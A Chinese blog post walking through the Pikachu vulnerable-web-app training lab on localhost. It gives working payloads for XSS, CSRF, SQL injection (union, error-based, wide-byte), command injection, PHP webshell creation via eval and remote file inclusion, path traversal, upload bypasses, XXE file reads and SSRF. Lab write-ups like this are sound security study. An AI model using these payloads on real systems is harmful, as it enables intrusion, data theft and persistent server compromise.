PIKACHU靶场练习

发布时间 2023-10-24 03:31:16作者: BUGCATCAPOO

PIKACHU靶场练习

Pikachu靶场全关攻略(超详细!) - 亨利其实很坏 - 博客园 (cnblogs.com)

tips:前排提醒如果要复制行内代码块记得把`去掉

暴力破解

1.基于表单暴力破解

Snipaste_2023-10-04_15-37-45

按道理来说这里应该是用暴力破解比如burpsite的intruder爆破,载入密码字典,从网上找个常见密码字典什么的,但是我随便试了一下admin 123456就过了(

2.验证码绕过(on server),服务器验证码

有些服务器后台是不刷新验证码的,所以抓到包后不要放包,这样验证码就一直有效,把包发到攻击模块直接爆破

3.验证码绕过(on client),前端验证码

验证码写在前端可以在burpsite的代理浏览器或者内置浏览器输入正确验证码绕过前端检测,发送到攻击模块爆破即可

4.绕过Token暴力破解

token的作用:简单来说就是服务器给前端发的身份证,前端向服务器发送请求时都要带上这个身份证,服务器通过这个身份证来判断是否是合法请求

抓包发送给暴力破解模块,攻击类型选择pitchfork(音叉),需爆破的内容为密码和token。

攻击类型为音叉的时候,例如你要爆破账号和密码,你的账号字典为123,456;你的密码字典为147,258。那么你爆破的次数就为2次了,分别是(123,147),(456,258),也就是说账号字典和密码字典是一一对应的

这里是使用token和密码一一对应的1779065-20221203113426699-103411151音叉爆破

将token的payload类型设置成递归搜索,在递归搜索选项中的第一个请求的初始有效负载设置为之前复制的token

1779065-20221203110852601-825254568

判断是否爆破成功都是看响应长度和内容

XSS跨站请求攻击(用户的输入会被直接渲染到HTML成为命令执行)

1.反射型xss(get)

Snipaste_2023-10-04_16-20-59

前端F12更改最大长度不然输入不完整

<script>alert(1)</script>

2.反射型XSS(POST)

登陆后输入下面代码弹出cookie

<script>alert(document.cookie)</script>

3.存储型XSS

留言板会存储我们的输入记录Snipaste_2023-10-04_16-27-14

弹出alert1

4.Dom型XSS

区别于反射型XSS构造标签,Dom型是构造标签内的属性,比如

<a href="javascript:alert(1)">

这个就没有过滤用户输入,而把用户输入拼接在超链接的href属性

所以我们输入:javascript:alert(1)即可弹出弹窗

5.xss之过滤

script关键字被过滤,换个其他的标签就可以了,换个img标签,代码如下

<img src=1 onerror=alert(1)>

原理是图片标签加载错误会执行onerror属性里的操作

6.Dom型XSS-x

Snipaste_2023-10-04_16-42-03

输入114514text会拼接到GET数据

image-20231004164337753

然后点击"有些费尽心机",会把text文本的值拼接到"往事随风"的href标签

输入框也没有什么过滤,因此输入javascript:alert(1)即可

7.XSS之盲打

Snipaste_2023-10-04_16-42-03

image-20231004164854574

image-20231004165155536

提交一下试试看

image-20231004165235280

再次登录后台就会弹出对话框

8.xss之htmlspecialchars

简单说一下specialchars这个函数吧,就是把单引号,双引号,尖括号过滤了,但是这个函数默认是不过滤单引号的,只有将quotestyle选项为ENT_QUOTES才会过滤单引号。

输入框的值会成为a标签的href属性,那么xss语句为:javascript:alert(1),就可以绕过了

9.xss之href输出

image-20231004170618023

输入javascript:alert(1)即可

10.xss之jss输出

image-20231004170833914

这里讲输入动态的生成到了js中,形成xss
javascript里面是不会对tag和字符实体进行解释的,所以需要进行js转义

构造闭合,把原本的

CSRF跨站攻击

CSRF攻击原理

CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者"Session Riding",通常缩写为CSRF或者XSRF

尽管听起来跟XSS好像差不多, 其实这两者是完全不同的。在CSRF的攻击场景中攻击者会伪造一个请求(该请求通常为url链接), 然后欺骗用户去点击, 若用户点击了那么整个攻击流程就结束了, 这也就是为何CSRF被称为"One Click Attack"

与XSS攻击相比,CSRF攻击往往不大流行, 因此对其进行防范的资源也相当稀少和难以防范,所以被认为比XSS更具危险性

XSS可以通过盗取cookie获取权限,而CSRF是借用用户权限

1.CSRF(get)

image-20231004174809493

我们将抓取到的url的请求参数修改成自己的, 例如将邮箱参数修改成hacker@qq.com, 那么构成的CSRF攻击payload为http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=18626545453&add=chain&email=hacker@qq.com&submit=submit

从而达到修改用户数据的目的

2.CSRF(POST)

image-20231004175533419

拦截修改用户数据请求,然后就可以任意修改用户信息

image-20231004180028466

image-20231004181525741

抓包后可以生成一个网页,然后诱导用户点击修改信息

3.CSRF token

Token验证

造成CSRF漏洞的主要原因是请求敏感操作的数据包容易被伪造, 其实只要在每次请求时都增加一个随机码(Token), 在每次前端与后端进行数据交互时后台都要对这个随机码进行验证, 以此来防护CSRF攻击

查看token_get_edit.php的源码, 发现有一个set_token()函数, 该函数每次刷新页面都会被调用, 然后将SESSION中的token销毁, 并生成新的token发送至前端表单中

<div id="per_info">
   <form method="get">
   <h1 class="per_title">hello,{$name},欢迎来到个人会员中心 | <a style="color:bule;" href="token_get.php?logout=1">退出登录</a></h1>
   <p class="per_name">姓名:{$name}</p>
   <p class="per_sex">性别:<input type="text" name="sex" value="{$sex}"/></p>
   <p class="per_phone">手机:<input class="phonenum" type="text" name="phonenum" value="{$phonenum}"/></p>    
   <p class="per_add">住址:<input class="add" type="text" name="add" value="{$add}"/></p> 
   <p class="per_email">邮箱:<input class="email" type="text" name="email" value="{$email}"/></p>
       
   <input type="hidden" name="token" value="{$_SESSION['token']}" />
       
   <input class="sub" type="submit" name="submit" value="submit"/>
   </form>
</div>

在每次提交表单时, 前端页面的token值都会传送至后台与SESSION中的token进行对比验证, 由于黑客不知道用户当前的token值, 从而无法进行CSRF攻击

img

其他防范措施

  • 在进行提交表单的操作增加验证码
  • 设置会话管理机制, 例如15分钟后无操作则自动退出登录
  • 修改敏感信息需对身份证进行二次验证, 例如修改密码时需输入旧密码
  • 修改敏感信息使用POST请求而不是使用GET请求
  • 通过HTTP请求头的Referer来限制原页面

SQL-inject

1.数字型注入(post)

抓包发送ID的请求修改POST的id值

image-20231004183013797

id=2%20order%20by%202 首先判断字段数为2 order by 3的时候出错了

然后回显库名id=1 and 1=2 union select 1,database()

image-20231004183537998

查找表名

union select 1,table_name from information_schema.tables where table_schema='pikachu'

查找列名

union select 1,column_name,3 from information_schema.columns where table_schema='库名' and table_name='表名'

查找字段

union select 1,列名 from 表名

2.字符型注入(get)

和数字注入基本一致只是前面的字符搜索不太一样,抄抄之前的CTFHUB笔记

image-20231004185135636

3.搜索型注入

搜索型注入原理
语句如下:SELECT*from database.table where users like ‘%要查询的关键字%’。这里“%”匹配任何字符,“like”的意思就是像。比如我们在搜索框输入关键字“李”,那么SQL语句就变成了SELECT * from database.table where users like ‘%李%’,意思就是查询users列里的带有关键字“李”的数据。
如果我们在输入关键字的时候不是输入的关键字“李”,而是精心构造的SQL语句,并且对于输入的关键字也没有过滤,那么注入就形成了。
例如我们在搜索框输入 李%‘and’1’=‘1’ and%’=’
SELECT * from table where users like’%李%‘and’1’=‘1’and’%’=’%’

搜索型注入语句构造
判断是否有注入漏洞
Url 地址中输入 www.xxx.com/abc.php?users= 1‘ 报错,说明很有可能存在注入漏洞
Url 地址中输入 www.xxx.com/abc.php?users= 1% 报错,说明特别可能存在注入漏洞
Url 地址中输入 www.xxx.com/abc.php?users= 1% ‘and 1=1 and ‘%’=’ 正确
Url 地址中输入 www.xxx.com/abc.php?users= 1% ‘and 1=2 and ‘%’=’ 错误
根据上面两条语句判断是否存在搜索型注入。
原文链接:https://blog.csdn.net/zjdda/article/details/106446931

闭合符号为%', 注入payload: g%' union select database(),2,3#

image-20231004185436352

4.XX型注入

闭合符号变成了'), 注入payload:test') union select user(),database()#

5.insert注入(下面这个就是报错注入,可以参考一下御林SQL诸如笔记捏,里面有另一个函数的使用

用户注册页面是insert注入,payload:' and extractvalue(1,concat(0x7e,(database()))) and '1'='1

6.delete注入

在留言版可以输入留言内容, 然后点击删除按钮可以刚刚留言的内容删掉

img

使用burpsuite抓取点击删除的数据包, 将id参数修改成要注入的payload: 57 or updatexml(1,concat(0x7e,database()),0) , 由于注入参数是get方式提交的, 因此需对id参数进行url编码, 编码后为57+or+updatexml(1,concat(0x7e,database()),0)

updatexml为另一个报错注入函数

img

7.http header注入

之前在CTFhub见到过例如refer注入

有些时候后台开发人员会验证前端发送来的请求头信息(如useragentaccept等), 然后将这些信息使用SQL语句进行处理, 若没有作严格的安全考虑, 则会导致http header的SQL注入漏洞

首先登录账号, 登录账号后会在页面显示用户请求头信息

UA有回显试试UA,抓取该页面的数据包,将user-agent的值改为单引号', 页面显示报错信息代表此处存在注入

也可以将cookie的值改为' or updatexml(1,concat(0x7e,database()),0) or ' 来实现报错注入

8.9.布尔盲注和时间盲注,可以参考御林SQL学习笔记以及写的两个爆flag的脚本

SQL-3.py

SQL-4.py

10.宽字节注入

先学习一下原理

CTF—WEB—sql注入之宽字节注入 - Wings_shadow - 博客园 (cnblogs.com)

宽字节注入是利用mysql的一个特性,mysql在使用GBK编码(GBK就是常说的宽字节之一,实际上只有两字节)的时候,会认为两个字符是一个汉字(前一个ascii码要大于128,才到汉字的范围),而当我们输入有单引号时会自动加入\进行转义而变为\’(在PHP配置文件中magic_quotes_gpc=On的情况下或者使用addslashes函数,icov函数,mysql_real_escape_string函数、mysql_escape_string函数等,提交的参数中如果带有单引号’,就会被自动转义\’,使得多数注入攻击无效),由于宽字节带来的安全问题主要是吃ASCII字符(一字节)的现象,将后面的一个字节与前一个大于128的ascii码进行组合成为一个完整的字符(mysql判断一个字符是不是汉字,首先两个字符时一个汉字,另外根据gbk编码,第一个字节ascii码大于128,基本上就可以了),此时’前的\就被吃了,我们就可以使用’了,利用这个特性从而可实施SQL注入的利用。

  GBK 占用两字节

  ASCII占用一字节

  PHP中编码为GBK,函数执行添加的是ASCII编码,MYSQL默认字符集是GBK等宽字节字符集。

  输入%df和函数执行添加的%5C,被合并成%df%5C。由于GBK是两字节,这个%df%5C被MYSQL识别为GBK。导致本应的%df\变成%df%5C。%df%5C在GBK编码中没有对应,所以被当成无效字符。

  %DF’ :会被PHP当中的addslashes函数转义为“%DF**'” ,“**”既URL里的“%5C”,那么也就是说,“%DF'”会被转成“%DF%5C%27”倘若网站的字符集是GBK,MYSQL使用的编码也是GBK的话,就会认为“%DF%5C%27”是一个宽字符。也就是“縗

例如:http://www.xxx.com/login.php?user=�’ or 1=1 limit 1,1%23&pass=

其对应的sql就是:

select * fromcms_user where username = ‘運’ or 1=1 limit 1,1#’ and password=”

URLdecode解码

%23: ’ %27: #

基本流程:

构造:?id=1%df%27

报错

再构造:?id=1%df%df%23

查询又恢复正常了,因为%df%df 双字节构成了一个汉字,而%df%23又不成汉字所以得知此题存在宽字节注入

开始爆数据库:

?id=1%df%27 order by 2#

列数得知 2列。

爆库:

?id=-1%df%27 union select 1,database()%23

数据库:sae-chinalover

爆列表:

?id=-1%df%27 union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x7361652d6368696e616c6f766572%23

爆出这些表:

ctf,ctf2,ctf3,ctf4,gbksqli,news

爆字段:

?id=-1%df%27 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x63746634%23

抓取POST请求的数据包, 将name参数的值改为kobe%df' union select database(),2# , 页面注入成功爆出当前数据库名称

RCE

RCE执行漏洞有两类一种是ping,另一种是eval

exec "ping"

一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口, 比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上

一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。若设计者在完成该功能时没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器

命令连接符

不同连接符的含义

在Windows和Linux中有四种命令连接符, 分别是|||&&&

连接符 描述
`a b`
`a
a & b 不管a命令是否执行成功, 都会去执行b命令
a && b 若a命令执行成功, 才会执行b命令 若a命令执行失败, 则不执行b命令

image-20231004192908586

例如我们在第一题输入127.0.0.1 | whoami

就会执行命令查看当前用户

exec "eval"

输入phpinfo();, 随后后台会使用php解析器去解析此代码

输入fputs(fopen('shell.php','w'),'<?php assert($_POST[123]);?>');, 会在当前网页所在目录生成一句话木马文件, 后续可用webshell管理工具进行连接,记得试了之后把木马删掉

image-20231004193424537

火绒帮我删掉了,但是这中间是有一段时间的,因此还要延伸出条件竞争的原理,可以看我的御林学习文件上传笔记

文件包含漏洞

本地文件包含

仅对服务器本地的文件进行包含, 由于服务器上的文件并不是攻击者所能控制得, 因此在攻击的过程中更多的是包含系统的配置文件(如密钥文件), 或者配合文件上传漏洞去形成更大的威力

文件上传后包含本地文件

远程文件包含

image-20231004230036401

先去打开allow_url_include

image-20231004230443045

Off改ON

image-20231004230546701

ok,没有报错试试

能通过url地址对远程的文件进行包含, 这也意味着攻击者可以传入任意的代码

与此同时远程包含漏洞还能包含本地文件绝对路径相对路径

http://127.0.0.1/pikachu/vul/fileinclude/fi_remote.php?filename=D:/Desktop/11.txt&submit=提交

包含了攻击机电脑的文件

image-20231004231928739

远程生成Webshell

首先生成一个文本文件部署在服务器上, 这里为了方便测试, 我选择放在phpstudy的根目录下, 文件内容为<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[123]);?>');?>, 文件的url地址为http://127.0.0.1/GenerateWebshell.txt

img

最终构成的远程包含payload为http://127.0.0.1/pikachu/vul/fileinclude/fi_remote.php?filename=http://127.0.0.1/GenerateWebshell.txt&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

网页访问该payload后会在fi_remote.php的同级目录下生成shell.php文件, 后续可用蚁剑进行连接

img

文件下载漏洞

在很多网站上都有文件下载功能, 当我们点击下载链接时便会向后台发送一个请求, 该请求一般会包含需要下载的文件名, 后台收到请求后便会执行下载代码, 若后台没有对文件名进行安全判断的话, 则可能引发文件下载漏洞

例如, 攻击者提交的并不是常规的文件名称, 而是一个精心构造的路径(如../../etc/passwd), 那么就会导致敏感文件被下载

image-20231004200007558

这是科比头像下载链接,但是filename我们可以改为../../../../文件名这样就会下载到其他文件

例如在根目录下创建flag文件实现目录穿越下载

文件上传漏洞(更详细的过程在御林文件上传也有)

1.前端验证

burpsite上传文件内容为一句话木马后缀为jpg抓包改后缀名为php发送请求就会上传木马

新方法:

打开浏览器,网址搜索框输入about:config, 将JavaScript.enabled设置为false或者浏览器设置添加禁用规则

image-20231004200532038

2. MIME验证

如下代码所示为此关卡用于MIME验证的php源码, 由此可知MIME是通过判断你的文件类型(而不是后缀名)来决定是否允许你上传文件,只需抓包修改content_type值就能绕过验证

if(isset($_POST['submit'])){
//     var_dump($_FILES);
    $mime=array('image/jpg','image/jpeg','image/png');//指定MIME类型,这里只是对MIME类型做了判断。
    $save_path='uploads';//指定在当前目录建立一个目录
    $upload=upload_sick('uploadfile',$mime,$save_path);//调用函数
    if($upload['return']){
        $html.="<p class='notice'>文件上传成功</p><p class='notice'>文件保存的路径为:{$upload['new_path']}</p>";
    }else{
        $html.="<p class=notice>{$upload['error']}</p>";
    }
}

使用burpsuite抓取上传shell.php的数据包, 将content_type的值修改为image/jpeg, 随后放包

3.getimagesize()验证

getimagesize()函数会通过读取文件头部的几个字符串(即文件头), 来判断是否为正常图片的头部

可通过制作图片木马或再木马文件内容头部添加GIF89a(Gif图片文件头), 然后利用文件包含漏洞来解析图片木马

在图片木马的文件内容头部添加GIF89a, 保存为shell.GIF文件, 随后将此文件上传后会返回文件的相对地址uploads/2022/11/29/xxxxxxxx.jpg

over permission越权漏洞

新知识要好好学习

概述

使用权限高的用户去操作权限低的用户的行为称为"越权",越权漏洞形成的原因是后台使用了 不合理的权限校验规则导致的

越权漏洞通常出现在需要权限才能操作的页面, 例如增加,删除,修改,查询等等, 后台会对当前的用户权限进行检验, 从而给出响应, 若检验的规则过于简单则容易出现越权漏洞

越权漏洞又分为水平越权和垂直越权:

  • 水平越权: A用户和B用户属于同一级别的用户, 但各自都不能操作对方的个人信息。若A用户能够越权操作B用户的个人信息, 这种情况我们称之为"水平越权"
  • 垂直越权: A用户权限高于B用户, B用户能对A用户进行操作的情况称为"垂直越权"

1.水平越权

首先登录lucy用户, 然后点击个人信息, 查看当前url为:http://127.0.0.1/pikachu/vul/overpermission/op1/op1_mem.php?username=lucy&submit=%E7%82%B9%E5%87%BB%E6%9F%A5%E7%9C%8B%E4%B8%AA%E4%BA%BA%E4%BF%A1%E6%81%AF#img

修改当前url的参数, 将username=lucy改成username=lili, 即http://127.0.0.1/pikachu/vul/overpermission/op1/op1_mem.php?username=lili&submit=%E7%82%B9%E5%87%BB%E6%9F%A5%E7%9C%8B%E4%B8%AA%E4%BA%BA%E4%BF%A1%E6%81%AF#

img

2.垂直越权

首先登录超级管理员用户admin/123456,使用burpsuite抓取添加用户的数据包并发送至Repeater模块

img

登录普通用户pikachu/000000, 按F12查看当前用户Cookie值为r0audj31vere8ak4063bbp7vr2

img

image-20231004232919557

返回burpsuite的Repeater模块, 打开上述抓到的数据包, 将Cookie值修改为pikachu用户的Cookie, 然后点击发送

img

image-20231004233049341

之后返回页面查看用户列表可发现多了一个用户Hacker

img

image-20231004233115479

说明我们确实以pikachu的身份执行了admin的操作,实现垂直越权

目录遍历

../../

在根目录pikachu文件夹(这个文件夹改了名字的)下创建flag.txt为后续操作实现准备条件

访问存在目录遍历漏洞的页面http://127.0.0.1/pikachu/vul/dir/dir_list.php?title=jarheads.php, 可发现title参数是实现目录遍历的关键变量

随便输入一个值传递给title参数, 页面爆出目录为D:\phpstudy_pro\WWW\pikachu\vul\dir\soup

img

构造读取flag.txt的url:http://127.0.0.1/pikachu/vul/dir/dir_list.php?title=../../../flag.txt

image-20231004202337392

敏感信息泄露

IcanseeyouABC

由于后台人员的疏忽或者不当的设计,导致不应该被前端用户看到的数据被轻易的访问到

  • 通过访问url下的目录,可以直接列出目录下的文件列表
  • 输入错误的url参数后报错信息里面包含操作系统、中间件、开发语言的版本或其他信息
  • 前端的源码(html,css,js)里面包含了敏感信息,比如后台登录地址、内网接口信息、甚至账号密码等

查看网页源码, 发现注释有测试用户的账号密码lili/123456

img

成功登录测试用户

img

img

PHP反序列化漏洞

PHP涉及反序列化漏洞的函数主要有两个, 分别是serialize()unserialize()

即序列化函数和反序列化函数

serialize():可以把对象,数组,等转换成可以传输的字符串

例如下面的代码, 将对象DemoClass转换成一段字符串: O:9:"DemoClass":3:{s:4:"name";s:5:"henry";s:3:"sex";s:3:"man";s:3:"age";i:7;}

O: 代表对象object

9: 代表对象名字的长度为3

3: 代表对象里有3个变量

s: 表示数据类型为String

4: 表示变量名称的长度

i: 表示数据类型为INT

unserialize()

反序列化简单来说就是将序列化后的字符串还原成对象

涉及魔法函数

序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题

如下所示为常见的魔法函数:

  • __construct(): 当一个对象创建时被调用
  • __destruct(): 当一个对象销毁时被调用
  • __toString(): 当一个对象被当做一个字符串使用
  • __sleep(): 在对象被序列化之前执行
  • __wakeup(): 在序列化之后立即被调用

代码审计

通常反序列化漏洞的发现及利用是代码审计实现的

审计unser.php, 前端将$_POST['o']变量传递给后台, 后台将此变量反序列化成对象, 然后输出该对象的test属性

由此, 可通过构造序列化的字符串传递给$_POST['o']来实现漏洞利用

class S{
    var $test = "pikachu";
    function __construct(){
        echo $this->test;
    }
}

//O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
$html='';
if(isset($_POST['o'])){
    $s = $_POST['o'];
    if(!@$unser = unserialize($s)){
        $html.="<p>大兄弟,来点劲爆点儿的!</p>";
    }else{
        $html.="<p>{$unser->test}</p>";
    }
}
?>

利用实例

自行新建一个php文件来生成用于漏洞利用的字符串: O:1:"S":1:{s:4:"test";s:33:"<script>alert('Hacking')</script>";}

<?php
class S{
    var $test = "<script>alert('Hacking')</script>";
}

$example = new S();
$SerialString = serialize($example); 
echo $SerialString; #输出: O:1:"S":1:{s:4:"test";s:33:"<script>alert('Hacking')</script>";}

?>

将此字符串通过POST请求传递给后台, 随后触发XSS反射型漏洞

img

XXE

新知识学一学

概述

XXE漏洞, 又称xml外部实体注入漏洞,概括来说就是攻击者通过向服务器注入指定的xml实体内容, 从而让服务器按照指定的配置执行, 也就是说服务端接收和解析了来自客户端的xml数据, 由于没有对此数据做严格的安全控制, 从而导致xml外部实体注入

在现在很多语言里用于解析xml的函数, 默认禁止解析外部实体内容, 从而就避免了此漏洞。以PHP为例, 在PHP里面解析xml用的是libxml,其在≥2.9.0的版本中,默认是禁止解析xml外部实体内容的

本章提供的案例中,为了模拟漏洞,通过手动指定LIBXML_NOENT选项开启了xml外部实体解析

XML+DTD基本语法

DTD(Document Type Definition), 即文档定义类型, 用来为XML文档定义语义约束

<!--声明xml的版本号-->
<?xml version="1.0"?>

<!--定义此文档是note类型的文档-->
<!DOCTYPE note[ 

<!--外部实体声明-->        
<!ENTITY entity-name SYSTEM "URI/URL">

]>

<!--文档元素--> 
<note>
<head>Reminder</head>
<body>You are a good man</body>
</note>

代码审计

前端将$_POST['xml']传递给变量$xml, 由于后台没有对此变量进行安全判断就直接使用simplexml_load_string函数进行xml解析, 从而导致xxe漏洞

$html='';
//考虑到目前很多版本里面libxml的版本都>=2.9.0了,所以这里添加了LIBXML_NOENT参数开启了外部实体解析
if(isset($_POST['submit']) and $_POST['xml'] != null){


    $xml =$_POST['xml'];
//    $xml = $test;
    $data = @simplexml_load_string($xml,'SimpleXMLElement',LIBXML_NOENT);
    if($data){
        $html.="<pre>{$data}</pre>";
    }else{
        $html.="<p>XML声明、DTD文档类型定义、文档元素这些都搞懂了吗?</p>";
    }
}

?>

因此可以构建恶意xml通过post请求提交给后台, 以此实现xml外部实体注入, 这里先构建个简单的xml提交试试, 页面成功回显"hello world"

<?xml version="1.0" encoding="UTF-8" ?>
 
<!DOCTYPE note [
    <!ENTITY test "hello world">
]>
 
<name>&test;</name>

img

利用实例

xml外部引用不仅支持file协议, 还支持http, ftp协议

如下代码所示, 利用file协议读取网站根目录下的flag.txt文件

<?xml version="1.0"?>
<!DOCTYPE ANY[ 
<!ENTITY file SYSTEM "file:///E:/phpStudy/WWW/flag.txt">
]>
<x>&file;</x>

img

URL重定向

img

内嵌浏览器分别点击四个标签

image-20231004223150356

找到302状态码的请求发送至repeater

重放请求

也就是第三个请求

点击前两行超链接都没什么反应, 点击第三行超链接时url跳转至unsafere.php页面

使用burpsuite进行抓包, 通常来讲存在URL重定向漏洞的页面的状态码为302

image-20231004223033781

可以修改url参数跳转到其他网站

SSRF

Curl命令支持多种协议, 如http、https、ftp、file、gopher协议等等

首先点击第一关的链接, 点进去可以看到传递了参数url, 此值采用了http协议进行访问

SSRF(curl)

image-20231004225128804

image-20231004225238936

通过构造链接的url参数可以访问其他目录文件

利用file协议让服务器访问自己本地的文件, 构造的payload为http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=file:///D:/desktop/11.txt

image-20231004225712014

SSRF(file_get_content)

该关卡会用到file_get_content函数, 该函数的作用是读取文件的内容, 可直接读取主机绝对路径或相对路径的文件, 也可以使用php伪协议进行利用

http://127.0.0.1/pikachu/vul/ssrf/ssrf_fgc.php?file=http://127.0.0.1/pikachu/flag.txt

image-20231004230947367

也可通过php伪协议读取指定文件

http://127.0.0.1:81/pikachu/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base64-encode/resource=D:/phpStudy_pro/WWW/pikachu/flag.txt

image-20231004231459872

[Get the pikachu](http://127.0.0.1/pikachu/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base64-encode/resource=D:/Desktop/11.txt)

构造本地文件也可以包含

image-20231004231714602